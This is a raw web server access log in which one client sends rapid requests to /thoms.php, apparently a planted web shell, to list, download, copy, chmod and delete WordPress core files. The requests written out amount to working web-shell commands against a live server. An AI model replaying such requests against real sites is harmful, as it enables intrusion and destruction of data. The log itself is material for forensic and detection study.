45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsession.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsession.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsession.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?chmod=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?del=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22060 "https://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21717 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:40 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=http.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?del=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=user.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?del=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=author-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22059 "https://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?del=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?del=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?del=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ferror-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ferror-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ferror-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
